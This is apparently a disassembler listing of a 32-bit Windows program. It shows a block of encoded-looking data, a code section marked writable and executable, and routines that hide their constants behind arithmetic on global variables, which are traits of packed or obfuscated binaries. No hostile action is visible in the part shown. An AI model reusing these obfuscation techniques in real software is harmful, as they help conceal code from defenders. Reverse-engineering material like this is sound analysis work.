dd 0A943A952h, 0AA9CA97Ah, 0AA84AA8Eh, 0AAADAABEh, 0AADAAAA3h
dd 0AAC1AACEh, 0AAE7AAECh, 0AA00AA0Ah, 0AA20AA35h, 0AA49AA5Ah
dd 0AA79AA47h, 0AA67AA6Ch, 0AB92AB94h, 0ABB1ABBAh, 0ABDAABA5h
dd 0ABEEABFFh, 0AB1AABE3h, 0AB3DAB10h, 0AB29AB31h, 0AB5CAB26h
dd 0AB6EAB44h, 0A49DAB66h, 0A48DA497h, 0A4ADA482h, 0A4D0A4DDh
dd 0A4F0A4FAh, 0A4E1A4EBh, 0A40CA416h, 0A438A40Bh, 0A598A423h
dd 0A5ADA5B6h, 0A533A50Eh, 0A552A558h, 0A57CA547h, 0A69FA569h
dd 0A6B8A68Bh, 0A6ACA6B5h, 0A6A3A6AAh, 0A6CFA6DAh, 0A6C1A6C4h
dd 0A6F1A6FAh, 0A61CA6E8h, 0A617A61Ah, 0A62DA630h, 0A669A62Bh
dd 0A791A666h, 0A7CDA789h, 0A7E8A7CBh, 0A716A7E2h, 0A72AA734h
dd 0A743A723h, 0A0DCA099h, 0A01DA0DAh, 0A013A014h, 0A034A03Dh
dd 0A049A053h, 0A077A078h, 0A19AA19Ch, 0A1EEA1ABh, 0A117A1E4h
dd 0A138A10Dh, 0A15CA137h, 0A147A15Ah, 0A168A17Dh, 0A2B4A161h
dd 0A2C1A2B2h, 0A205A211h, 0A22FA23Bh, 0A245A25Ah, 0A26FA271h
dd 0A399A264h, 0A38CA397h, 0A3BFA381h, 0A3A9A3B4h, 0A3DCA3A7h
dd 0A3E8A3F2h, 0A310A3E7h, 0A300A30Eh, 0A32EA337h, 0A355A324h
dd 0A34AA353h, 9C9C5C9Ch, 9C9C9ED8h, 0ACB7ACBFh, 0ACC6ACD8h
dd 0ACE5ACFCh, 0AC09AC13h, 0AC2EAC3Ch, 0AC4AAC57h, 0AC77AC7Ch
dd 0AD9FAC61h, 0AD8AAD8Ch, 0ADB5ADBFh, 0ADC5ADCFh, 0AD0CADF1h
dd 0AD07AD0Ah, 0AD2BAD3Eh, 0AD55AD5Fh, 0AD42AD4Fh, 0AD60AD74h
dd 0AE90AE9Eh, 0AEAFAE83h, 0AEC0AECAh, 0AEE8AEFDh, 0AE16AE1Ch
dd 0AE03AE09h, 0AE25AE2Fh, 0AE4AAE5Fh, 0AF91AE76h, 0AF86AF8Fh
dd 0AFD5AFBCh, 0AFFDAFD3h, 0AF2AAF2Ch, 0A8FCA8B5h, 0A8E9A8F0h
dd 0A816A8E6h, 0A839A80Ah, 0A82CA837h, 0A849A853h, 0A873A875h
dd 0A990A865h, 0A9A8A9BCh, 0A9DBA9A6h, 0A9FAA9FCh, 0A9E2A9E4h
dd 0A90FA912h, 0A928A907h, 0A949A953h, 0AA9AA977h, 0AA83AA90h
dd 0AADCAAA6h, 0AAF2AACFh, 0AAE0AAE8h, 0AA27AA33h, 0AA50AA5Bh
dd 0AA7EAA4Eh, 0AA61AA68h, 0AB8AAB93h, 0ABB7ABB8h, 0ABD0ABADh
dd 0ABEAABFFh, 0AB14AB1Eh, 0AB39AB05h, 0AB21AB37h, 0AB42AB58h
dd 0A49DAB78h, 0A4A6A490h, 0A4D6A4DDh, 0A4FDA4CFh, 0A4EAA4F4h
dd 0A41EA4E7h, 0A430A43Fh, 0A426A428h, 0A451A458h, 0A47DA44Ah
dd 0A59EA474h, 0A589A595h, 0A5DDA581h, 0A5F6A5DBh, 0A518A5E4h
dd 0A507A50Fh, 0A52DA539h, 0A548A55Dh, 0A56DA541h, 0A699A564h
dd 0A6B9A68Ch, 0A6AAA6B7h, 0A6C4A6CDh, 0A614A6E0h, 0A628A636h
dd 0A65FA621h, 0A67DA647h, 0A785A795h, 0A7B6A7BFh, 0A7DDA7AAh
dd 0A7CEA7D7h, 0A7FAA7C3h, 0A702A7EAh, 0A733A738h, 0A75DA720h
dd 0A750A75Ah, 0A740A749h, 0A772A775h, 0A09FA76Fh, 0A084A094h
dd 0A0B1A081h, 0A0DEA0AEh, 0A0CBA0DBh, 0A0F0A0C0h, 0A01DA0EDh
dd 0A00AA01Ah, 0A037A007h, 0A05CA02Ch, 0A049A059h, 0A076A046h
dd 0A063A073h, 0A188A198h, 0A1B0A185h, 0A1E3A1A6h, 0A132A10Eh
dd 0A153A129h, 0A29CA17Bh, 0A2B9A289h, 0A2A6A2B6h, 0A2D3A2A3h
dd 0A2F8A2C8h, 0A2E5A2F5h, 0A212A2E2h, 0A23FA20Fh, 0A224A234h
dd 0A251A221h, 0A27EA24Eh, 0A26BA27Bh, 0A390A260h, 0A3BDA38Dh
dd 0A3AAA3BAh, 0A3D7A3A7h, 0A3FCA3CCh, 0A3E9A3F9h, 0A316A3E6h
dd 0A303A313h, 0A328A338h, 0A355A325h, 0A342A352h, 0A36FA37Fh
dd 9C9CA364h, 9C9C4C9Ch, 9C9C9EB4h, 0AC91AC94h, 0ACBEAC81h
dd 0ACABACAEh, 0ACD0ACDBh, 0ACFDACC0h, 0ACEAACEDh, 0AC17AC1Ah
dd 0AC3CAC07h, 0AC29AC2Ch, 0AC56AC59h, 0AC43AC46h, 0AC68AC73h
dd 0AD95AD98h, 0AD82AD85h, 0ADAFADB2h, 0ADD4ADDFh, 0ADC1ADC4h
dd 0ADEEADF1h, 0AD1BAD1Eh, 0AD00AD0Bh, 0AD2DAD30h, 0AD41AD5Bh
dd 0AD6FAD7Ah, 0AE9EAD60h
dd 0AE8BAE97h, 0AEB9AE82h, 0AED8AEA7h, 0AEFDAED7h, 0AEE6AEF4h
dd 0AE0EAE1Dh, 0AE2DAE05h, 0AE57AE59h, 0AE7CAE46h, 0AF9AAE6Ah
dd 0AFB9AF8Fh, 0AFA7AFB7h, 0AFC5AFCFh, 0AFEAAFF3h, 0AF12AFE3h
dd 0A895AF7Bh, 0A8ABA893h, 0A8C9A8DEh, 0A8EBA8F0h, 0A83AA804h
dd 0A822A824h, 0A844A84Eh, 0A867A841h, 0A980A98Ah, 0A9FAA9AFh
dd 0A9E4A9EEh, 0A917A918h, 0A93DA906h, 0A920A92Ch, 0A952A95Fh
dd 0A976A979h, 0AA9DA96Ch, 0AAAAAABAh, 0AAD7AAA0h, 0AAF9AAC6h
dd 0AA14AAF0h, 0AA3CAA09h, 0AA2FAA31h, 0AA49AA5Ch, 0AA60AA42h
dd 0AB88AB9Eh, 0ABBBAB80h, 0ABA7ABAFh, 0ABF4ABD7h, 0AB12ABEFh
dd 0AB31AB0Bh, 0AB7DAB2Fh, 0AB6EAB70h, 0A49AAB63h, 0A4B9A48Fh
dd 0A4D7A4ABh, 0A4FFA4C1h, 0A41AA4E7h, 0A407A410h, 0A42FA430h
dd 0A457A458h, 0A471A442h, 0A59BA46Fh, 0A5B9A587h, 0A5A2A5A4h
dd 0A5CBA5CDh, 0A5E4A5F8h, 0A506A50Fh, 0A561A546h, 0A693A694h
dd 0A6AEA6B0h, 0A6F5A6C3h, 0A65DA626h, 0A647A653h, 0A66EA67Dh
dd 0A79FA664h, 0A7D1A795h, 0A7EDA7CFh, 0A702A71Fh, 0A75AA724h
dd 0A748A750h, 0A77DA747h, 0A770A77Ah, 0A09DA76Eh, 0A0ACA087h
dd 0A0A2A0ABh, 0A0FFA0CBh, 0A0EBA0F3h, 0A01FA0E0h, 0A00EA011h
dd 0A024A005h, 0A07DA051h, 0A06CA076h, 0A199A061h, 0A180A196h
dd 0A1DEA1B2h, 0A1FDA1D0h, 0A1E2A1E8h, 0A105A112h, 0A124A13Ch
dd 0A157A159h, 0A16AA176h, 0A29DA167h, 0A2A0A287h, 0A2C1A2D2h
dd 0A2EEA2F1h, 0A201A219h, 0A224A23Eh, 0A247A253h, 0A26AA277h
dd 0A38EA39Ch, 0A3B0A382h, 0A3C9A3D4h, 0A30EA3C7h, 0A32EA33Ah
dd 0A345A358h, 0A36BA379h, 9C9C7C9Ch, 9C9C9D94h, 0AC8FAC9Fh
dd 0ACA0ACB8h, 0ACE4ACD4h, 0AC08ACE3h, 0AC72AC2Dh, 0AD94AC65h
dd 0ADC2ADB9h, 0ADF1ADF8h, 0ADE6ADE8h, 0AD21ADE3h, 0AD4DAD5Ah
dd 0AD72AD7Dh, 0AE96AE9Eh, 0AEB5AEBFh, 0AEC7AED2h, 0AEF5AEFCh
dd 0AE1EAEE4h, 0AE35AE15h, 0AE22AE29h, 0AE7AAE40h, 0AF89AE6Bh
dd 0AFB8AF81h, 0AFCBAFD6h, 0AFEEAFF7h, 0AF4BAF1Eh, 0AF6BAF41h
dd 0A88FA898h, 0A8CEA8B7h, 0A81DA8EFh, 0A844A84Eh, 0A982A842h
dd 0A9AAA9BAh, 0A9D6A9D8h, 0A90FA9F5h, 0A92CA936h, 0A95FA926h
dd 0A94CA954h, 0A979A94Bh, 0AA97A967h, 0AABCAA89h, 0AADEAAB2h
dd 0AAFFAAC1h, 0AA39AA1Ah, 0ABB3AA58h, 0ABA3ABAAh, 0ABCEABD0h
dd 0AB1CABF9h, 0AB2DAB34h, 0AB5FAB2Bh, 0AB44AB4Ch, 0AB6CAB7Dh
dd 0A4A0A497h, 0A4CDA4DFh, 0A4E6A4C4h, 0A40CA41Dh, 0A402A404h
dd 0A42FA435h, 0A457A427h, 0A54AA556h, 0A572A57Eh, 0A69AA566h
dd 0A682A68Eh, 0A6AAA6B6h, 9C9CA6DEh, 9C8D1C9Ch, 9C9C9CDCh
dd 0AE5CAC9Ch, 0AE54AE58h, 0AE4CAE50h, 0AE44AE48h, 0AE78AE7Ch
dd 0AE70AE74h, 0AE68AE6Ch, 0AE60AE64h, 0AF94AF98h, 0AF8CAF90h
dd 0AF84AF88h, 0AFBCAF80h, 0A8B4A8B8h, 0A8ACA8B0h, 9C8D3C9Ch
dd 9C9C9CBCh, 0AD04AD08h, 0AD30AD00h, 0AD28AD2Ch, 0AD20AD24h
dd 0AD58AD5Ch, 9C9CAD54h, 7 dup(9C9C9C9Ch), 0D45D03EFh
dd 9C9C9C9Ch, 9C8D4CB4h, 3 dup(9C9C9C9Dh), 9C8D4CA8h, 9C8D4CA4h
dd 9C8D4CA0h, 0EAEDF7F7h, 0F8B2C3E4h, 9C9CF0F0h, 9C9CF85Bh
dd 9C8D4CDCh, 9C9C9C9Ch, 0FEF5D0C3h, 0F2F5FDD1h, 9C9CACDCh
dd 6Dh dup(9C9C9C9Ch), 39D639CAh, 39EE39E2h, 3A0639FAh
dd 3A1E3A12h, 3A363A2Ah, 3A42h, 118000h, 40h, 32C03000h
dd 32C832C4h, 32D032CCh, 32D832D4h, 32E432E0h, 32EC32E8h
dd 32F432F0h, 32FC32F8h, 33083304h, 3310330Ch, 33183314h
dd 3320331Ch, 34283424h, 3430342Ch, 11A000h, 20h, 31983194h
dd 31AC319Ch, 31B431B0h, 31BC31B8h, 31C431C0h, 31C8h, 7 dup(0)
dd 48C19F73h, 0
dd 11D028h, 3 dup(1), 11D034h, 11D038h, 11D03Ch, 76716B6Bh
dd 642E5F78h, 6C6Ch, 64C7h, 11D040h, 0
dd 62694C5Fh, 6E69614Dh, 3040h, 3846h dup(0)
_data ends
; ---------------------------------------------------------------------------
; Section 4. (virtual address 0003A000)
; Virtual size : 00116178 (1139064.)
; Section size in file : 00116178 (1139064.)
; Offset to raw data for section: 0003A000
; Flags E0000020: Text Executable Readable Writable
; Alignment : default
; ===========================================================================
; Segment type: Pure code
; Segment permissions: Read/Write/Execute
_text segment para public 'CODE' use32
assume cs:_text
;org 43A000h
assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing
mov eax, 1
retn
; ---------------------------------------------------------------------------
loc_43A006: ; DATA XREF: sub_43A026+Ao
xor eax, eax
inc eax
mov ecx, [esp+4]
test dword ptr [ecx+4], 6
jz short locret_43A025
mov eax, [esp+8]
mov edx, [esp+10h]
mov [edx], eax
mov eax, 3
locret_43A025: ; CODE XREF: .text:0043A014j
retn
; =============== S U B R O U T I N E =======================================
sub_43A026 proc near ; CODE XREF: .text:0043A14Ep
; .text:0043A17Cp
var_14 = dword ptr -14h
arg_0 = dword ptr 4
arg_4 = dword ptr 8
push ebx
push esi
push edi
mov eax, [esp+0Ch+arg_0]
push eax
push 0FFFFFFFEh
push offset loc_43A006
push large dword ptr fs:0
mov large fs:0, esp
loc_43A043: ; CODE XREF: sub_43A026+44j
; sub_43A026+4Aj
mov eax, [esp+1Ch+arg_0]
mov ebx, [eax+8]
mov esi, [eax+0Ch]
cmp esi, 0FFFFFFFFh
jz short loc_43A072
cmp esi, [esp+1Ch+arg_4]
jz short loc_43A072
lea esi, [esi+esi*2]
mov ecx, [ebx+esi*4]
mov ecx, [esp+1Ch+var_14]
mov ecx, [eax+0Ch]
cmp dword ptr [ebx+esi*4+4], 0
jnz short loc_43A043
call dword ptr [ebx+esi*4+8]
jmp short loc_43A043
; ---------------------------------------------------------------------------
loc_43A072: ; CODE XREF: sub_43A026+2Aj
; sub_43A026+30j
pop large dword ptr fs:0
add esp, 0Ch
pop edi
pop esi
pop ebx
retn
sub_43A026 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A080 proc near ; CODE XREF: .text:0043A141p
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ebx
push esi
push edi
push ebp
push 0
push 0
push offset loc_43A098
push [ebp+arg_0]
call sub_4479E0
loc_43A098: ; DATA XREF: sub_43A080+Bo
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_43A080 endp
; ---------------------------------------------------------------------------
cld
push ebp
mov ebp, esp
sub esp, 8
push ebx
push esi
push edi
push ebp
mov ebx, [ebp+0Ch]
mov eax, [ebp+8]
test dword ptr [eax+4], 6
jnz loc_43A175
mov [ebp-8], eax
mov eax, [ebp+10h]
mov [ebp-4], eax
lea eax, [ebp-8]
mov [ebx-4], eax
mov esi, [ebx+0Ch]
mov edi, [ebx+8]
loc_43A0D3: ; CODE XREF: .text:0043A16Cj
cmp esi, 0FFFFFFFFh
jz loc_43A184
lea ecx, [esi+esi*2]
cmp dword ptr [edi+ecx*4+4], 0
jz short loc_43A163
push esi
push ebp
lea ebp, [ebx+10h]
mov eax, [ebp-14h]
mov eax, [eax]
mov eax, [eax]
mov dword_551034, eax
mov edx, [ebp-14h]
mov eax, [edx]
mov dword_551038, eax
mov eax, [edx+4]
mov dword_55103C, eax
push esi
push edi
push ecx
mov ecx, 14h
lea edi, dword_551040
mov esi, dword_551038
rep movsd
lea edi, dword_551040
mov dword_551038, edi
pop ecx
pop edi
pop esi
call dword ptr [edi+ecx*4+4]
pop ebp
pop esi
mov ebx, [ebp+0Ch]
or eax, eax
jz short loc_43A163
js short loc_43A171
mov edi, [ebx+8]
push ebx
call sub_43A080
add esp, 4
lea ebp, [ebx+10h]
push esi
push ebx
call sub_43A026
add esp, 8
lea ecx, [esi+esi*2]
mov eax, [edi+ecx*4]
mov eax, [ebx+0Ch]
call dword ptr [edi+ecx*4+8]
loc_43A163: ; CODE XREF: .text:0043A0E4j
; .text:0043A139j
mov edi, [ebx+8]
lea ecx, [esi+esi*2]
mov esi, [edi+ecx*4]
jmp loc_43A0D3
; ---------------------------------------------------------------------------
loc_43A171: ; CODE XREF: .text:0043A13Bj
xor eax, eax
jmp short loc_43A18E
; ---------------------------------------------------------------------------
loc_43A175: ; CODE XREF: .text:0043A0B8j
push ebp
lea ebp, [ebx+10h]
push 0FFFFFFFFh
push ebx
call sub_43A026
add esp, 0Ch
loc_43A184: ; CODE XREF: .text:0043A0D6j
push 0Bh
call sub_447A28
add esp, 4
loc_43A18E: ; CODE XREF: .text:0043A173j
pop ebp
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
push ebx
push esi
push edi
cmp dword ptr [ebp+0Ch], 1
jnz short loc_43A1A7
call sub_43A1C3
loc_43A1A7: ; CODE XREF: .text:0043A1A0j
call sub_44796B
push dword ptr [ebp+10h]
push dword ptr [ebp+0Ch]
push dword ptr [ebp+8]
mov eax, off_551000
call eax ; sub_447940
pop edi
pop esi
pop ebx
leave
retn 0Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A1C3 proc near ; CODE XREF: .text:0043A1A2p
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 0Ch
push edi
push 0
push 0FFFFFFF6h
call sub_4479F8
mov [ebp+var_8], eax
push 0
push 0FFFFFFF5h
call sub_4479F8
mov [ebp+var_4], eax
push 0
push 0FFFFFFF4h
call sub_4479F8
mov [ebp+var_C], eax
push (offset aWr+2)
push [ebp+var_8]
call sub_4479EC
mov dword_551008, eax
push offset aWr ; "wr"
push [ebp+var_4]
call sub_4479EC
mov dword_551004, eax
push offset aWr ; "wr"
push [ebp+var_C]
call sub_4479EC
add esp, 30h
mov dword_55100C, eax
mov edi, dword_551004
or edi, edi
jz short loc_43A23C
push 0
push edi
call sub_447A34
add esp, 8
loc_43A23C: ; CODE XREF: sub_43A1C3+6Cj
mov edi, dword_55100C
or edi, edi
jz short loc_43A256
push 0
push edi
call sub_447A34
add esp, 8
call sub_43A25C
loc_43A256: ; CODE XREF: sub_43A1C3+81j
pop edi
leave
retn
sub_43A1C3 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A25C proc near ; CODE XREF: sub_43A1C3+8Ep
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 14h
push ebx
push esi
push edi
mov [ebp+var_C], 0
call sub_4479D4
mov ebx, eax
mov [ebp+var_10], ebx
jmp short loc_43A294
; ---------------------------------------------------------------------------
loc_43A278: ; CODE XREF: sub_43A25C+3Bj
cmp byte ptr [ebx], 3Dh
jz short loc_43A280
inc [ebp+var_C]
loc_43A280: ; CODE XREF: sub_43A25C+1Fj
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
lea ebx, [ebx+edi]
loc_43A294: ; CODE XREF: sub_43A25C+1Aj
cmp byte ptr [ebx], 0
jnz short loc_43A278
mov edi, [ebp+var_C]
inc edi
lea edi, ds:0[edi*4]
mov [ebp+var_14], edi
push [ebp+var_14]
call sub_447A1C
pop ecx
mov [ebp+var_8], eax
mov dword_551010, eax
cmp [ebp+var_8], 0
jnz short loc_43A2C2
xor eax, eax
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2C2: ; CODE XREF: sub_43A25C+60j
mov ebx, [ebp+var_10]
jmp short loc_43A30C
; ---------------------------------------------------------------------------
loc_43A2C7: ; CODE XREF: sub_43A25C+B3j
mov edi, ebx
xor eax, eax
stc
sbb ecx, ecx
repne scasb
neg ecx
lea eax, [ecx-2]
mov edi, eax
inc edi
mov [ebp+var_4], edi
cmp byte ptr [ebx], 3Dh
jz short loc_43A306
push [ebp+var_4]
call sub_447A1C
pop ecx
mov esi, [ebp+var_8]
mov [esi], eax
or eax, eax
jnz short loc_43A2F4
jmp short loc_43A31F
; ---------------------------------------------------------------------------
loc_43A2F4: ; CODE XREF: sub_43A25C+94j
push ebx
mov edi, [ebp+var_8]
push dword ptr [edi]
call sub_447A40
add esp, 8
add [ebp+var_8], 4
loc_43A306: ; CODE XREF: sub_43A25C+82j
mov edx, [ebp+var_4]
lea ebx, [ebx+edx]
loc_43A30C: ; CODE XREF: sub_43A25C+69j
cmp byte ptr [ebx], 0
jnz short loc_43A2C7
mov edx, [ebp+var_8]
mov dword ptr [edx], 0
mov eax, 1
loc_43A31F: ; CODE XREF: sub_43A25C+64j
; sub_43A25C+96j
pop edi
pop esi
pop ebx
leave
retn
sub_43A25C endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A324 proc near ; CODE XREF: sub_43E491+3D2p
var_4C = dword ptr -4Ch
var_48 = byte ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = word ptr -38h
var_30 = dword ptr -30h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
sub esp, 4Ch
push ebx
push esi
push edi
movsx eax, word_5511C8
movsx edx, word_55120C
add eax, edx
sub eax, 7
mov [ebp+var_4], eax
jmp short loc_43A36E
; ---------------------------------------------------------------------------
loc_43A345: ; CODE XREF: sub_43A324+5Ej
mov eax, 30h
mul [ebp+var_4]
mov [ebp+var_20], eax
mov eax, dword_551248
movsx edx, word_551110
add eax, edx
sub eax, 5
mov edx, [ebp+var_20]
mov ds:dword_4CC650[edx], eax
inc [ebp+var_4]
loc_43A36E: ; CODE XREF: sub_43A324+1Fj
mov eax, dword_55114C
add eax, 5Dh
movsx edx, word_551144
add eax, edx
cmp [ebp+var_4], eax
jb short loc_43A345
movsx eax, word_55120C
add eax, dword_55110C
sub eax, 9
push eax
call ds:dword_44B084
push offset dword_551300
push offset dword_552A94
push 7
mov eax, dword_551118
sub eax, 9
push eax
push offset dword_5529D4
call ds:dword_44B5D4
mov ebx, eax
mov eax, dword_551270
sub eax, 5
cmp ebx, eax
jnz loc_43A575
lea eax, [ebp+var_C]
push eax
mov eax, dword_551300
push eax
mov edi, [eax]
call dword ptr [edi+1Ch]
mov ebx, eax
mov eax, dword_5511B0
add eax, dword_5511D8
sub eax, 0Eh
cmp ebx, eax
jnz short loc_43A3FD
mov eax, dword_55124C
sub eax, 5
cmp [ebp+var_C], eax
jnz short loc_43A402
loc_43A3FD: ; CODE XREF: sub_43A324+CAj
jmp loc_43A506
; ---------------------------------------------------------------------------
loc_43A402: ; CODE XREF: sub_43A324+D7j
movsx eax, word_551120
sub eax, 3
mov [ebp+var_8], eax
jmp loc_43A4FA
; ---------------------------------------------------------------------------
loc_43A414: ; CODE XREF: sub_43A324+1DCj
mov eax, [ebp+var_8]
mov [ebp+var_30], eax
mov [ebp+var_38], 3
lea eax, [ebp+var_3C]
push eax
lea esi, [ebp+var_38]
sub esp, 10h
mov edi, esp
mov ecx, 4
rep movsd
mov edi, dword_551300
push edi
mov edi, [edi]
call dword ptr [edi+20h]
mov ebx, eax
mov eax, dword_551218
movsx edx, word_551214
add eax, edx
sub eax, 4
cmp eax, ebx
jnz loc_43A4F7
lea eax, [ebp+var_40]
push eax
push offset dword_552AA4
mov eax, [ebp+var_3C]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
movsx eax, word_5510F0
sub eax, 3
cmp eax, ebx
jnz short loc_43A4EE
lea eax, off_5512FC
mov [ebp+var_24], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_44]
push eax
push offset dword_5529F4
mov eax, [ebp+var_24]
push eax
mov edi, [eax]
call dword ptr ds:0[edi]
mov ebx, eax
mov eax, dword_551200
add eax, dword_5511F0
sub eax, 0Ch
cmp eax, ebx
jnz short loc_43A4DC
lea eax, [ebp+var_48]
push eax
push offset dword_5529F4
push [ebp+var_44]
push [ebp+var_40]
call sub_43C468
add esp, 10h
mov [ebp+var_4C], eax
mov eax, [ebp+var_44]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43A4DC: ; CODE XREF: sub_43A324+193j
mov eax, [ebp+var_24]
push eax
mov esi, [eax]
call dword ptr [esi+8]
mov eax, [ebp+var_40]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43A4EE: ; CODE XREF: sub_43A324+15Aj
mov eax, [ebp+var_3C]
push eax
mov esi, [eax]
call dword ptr [esi+8]
loc_43A4F7: ; CODE XREF: sub_43A324+130j
inc [ebp+var_8]
loc_43A4FA: ; CODE XREF: sub_43A324+EBj
mov eax, [ebp+var_C]
cmp [ebp+var_8], eax
jb loc_43A414
loc_43A506: ; CODE XREF: sub_43A324:loc_43A3FDj
lea eax, off_551320
mov [ebp+var_10], eax
push eax
mov esi, [eax]
call dword ptr [esi+4]
lea eax, [ebp+var_14]
push eax
push offset dword_5529E4
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr ds:0[esi]
mov eax, [ebp+var_10]
push eax
mov esi, [eax]
call dword ptr [esi+8]
lea eax, [ebp+var_1C]
push eax
push offset dword_5529E4
push [ebp+var_14]
push dword_551300
call sub_43C468
add esp, 10h
mov [ebp+var_18], eax
mov ecx, dword_5510FC
sub ecx, 2
cmp eax, ecx
jnz short loc_43A575
mov eax, dword_551300
push eax
mov esi, [eax]
call dword ptr [esi+8]
movsx eax, word_55111C
mov dword_551300, eax
loc_43A575: ; CODE XREF: sub_43A324+A3j
; sub_43A324+238j
pop edi
pop esi
pop ebx
leave
retn
sub_43A324 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A57A proc near ; DATA XREF: .data:005512E8o
push ebp
mov ebp, esp
mov eax, dword_551100
cmp ds:dword_55003C, eax
jbe short loc_43A595
push offset dword_55003C
call ds:dword_448014
loc_43A595: ; CODE XREF: sub_43A57A+Ej
mov eax, ds:dword_55003C
pop ebp
retn 4
sub_43A57A endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_43A59E proc near ; CODE XREF: sub_44718F+B2p
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = word ptr -40h
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 48h
push ebx
push esi
push edi
mov ebx, [ebp+arg_0]
movsx eax, word_55115C
sub eax, 3
mov [ebp+var_44], eax
mov eax, dword_551250
mov edi, eax
add edi, dword_5511E8
sub edi, 9
jmp short loc_43A5D7
; ---------------------------------------------------------------------------
loc_43A5C9: ; CODE XREF: sub_43A59E+49j
mov edx, edi
shl edx, 1
mov cx, [ebx+edi*2]
mov [ebp+edx+var_40], cx
inc edi
loc_43A5D7: ; CODE XREF: sub_43A59E+29j
mov eax, dword_5510D0
add eax, 15h
add eax, dword_551154
cmp edi, eax
jb short loc_43A5C9
lea eax, dword_54EB80
mov [ebp+var_48], eax
loc_43A5F2: ; CODE XREF: sub_43A59E+6Fj
inc [ebp+var_44]
mov eax, [ebp+var_48]
movzx eax, word ptr [eax]
cmp [ebp+var_44], eax
jnb short loc_43A60F
push ebx
lea eax, [ebp+var_40]
push eax
call sub_43F2CB
add esp, 8
jmp short loc_43A5F2
; ---------------------------------------------------------------------------
loc_43A60F: ; CODE XREF: sub_43A59E+60j
movsx esi, word_55112C
sub esi, 5
jmp short loc_43A62C
; ---------------------------------------------------------------------------
loc_43A61B: ; CODE XREF: sub_43A59E+A1j
mov edx, esi
shl edx, 1
mov ecx, [ebp+arg_4]
mov dx, [ebp+edx+var_40]
mov [ecx+esi*2], dx
inc esi
loc_43A62C: ; CODE XREF: sub_43A59E+7Bj
mov eax, dword_5511E0
add eax, 17h
movsx edx, word_5510E4
add eax, edx
cmp esi, eax
jb short loc_43A61B
pop edi
pop esi
pop ebx
leave
retn
sub_43A59E endp
; =============== S U B R O U T I N E =======================================
sub_43A646 proc near ; CODE XREF: sub_441AE5+96p
push ebx
push esi
mov esi, dword_551200
add esi, dword_55116C
mov ebx, dword_55114C
add ebx, 0CC244076h
movsx edx, word_5511AC
add ebx, edx
mov ds:dword_54EB9C[esi*4], ebx
mov esi, dword_551190
movsx ebx, word_551274
mov edx, dword_551124
lea ebx, [ebx+edx-7965178Bh]
mov ds:dword_54EBB0[esi*4], ebx
mov esi, dword_5510BC
mov ebx, dword_5510B4
add ebx, 3D357C63h
movsx edx, word_551234
add ebx, edx
mov ds:dword_54EBE0[esi*4], ebx
mov esi, dword_5511D4
movsx ebx, word_5511A8
add esi, ebx
mov ebx, dword_551128
add ebx, 1B77E1DAh
mov ds:dword_54EBB0[esi*4], ebx
movsx esi, word_551214
mov ebx, dword_551138
add ebx, 505215ADh
mov ds:dword_54EBCC[esi*4], ebx
movsx esi, word_55111C
mov ebx, dword_551100
lea esi, [esi+ebx+0Eh]
mov ebx, dword_5510C4
add ebx, 14F8050Fh
mov ds:dword_54EBC0[esi*4], ebx
mov esi, dword_5510C4
mov ebx, dword_5510FC
add ebx, 6E0637BDh
movsx edx, word_55120C
add ebx, edx
mov ds:dword_54EBD8[esi*4], ebx
movsx esi, word_5511BC
movsx ebx, word_55111C
lea esi, [esi+ebx+6]
movsx ebx, word_5511C8
add ebx, 1E4E873Dh
mov ds:dword_54EBC0[esi*4], ebx
movsx esi, word_55112C
mov ebx, esi
add ebx, 0E383CCDAh
mov ds:dword_54EBDC[esi*4], ebx
mov esi, dword_551098
add esi, dword_5511F8
mov ebx, dword_5511E0
add ebx, 0D24B644Dh
add ebx, dword_55118C
mov ds:dword_54EBB8[esi*4], ebx
mov eax, dword_551258
mov ecx, eax
add ecx, dword_5510B4
sub ecx, 4
jmp short loc_43A7C2
; ---------------------------------------------------------------------------
loc_43A7A8: ; CODE XREF: sub_43A646+18Aj
mov esi, dword_5510C0
movsx ebx, word_551194
add esi, ebx
sub esi, 8
mov ds:dword_54EB80[ecx*4], esi
inc ecx
loc_43A7C2: ; CODE XREF: sub_43A646+160j
mov eax, dword_5510B8
add eax, dword_5511E0
dec eax
cmp ecx, eax
jb short loc_43A7A8
mov ecx, dword_551250
mov esi, dword_55116C
add esi, 3
add esi, dword_5511E4
mov ds:dword_54EB78[ecx*4], esi
mov ecx, dword_55110C
add ecx, dword_551160
movsx esi, word_551234
add esi, 0D76ADDDEh
mov ds:dword_54EB98[ecx*4], esi
movsx ecx, word_551120
mov esi, ecx
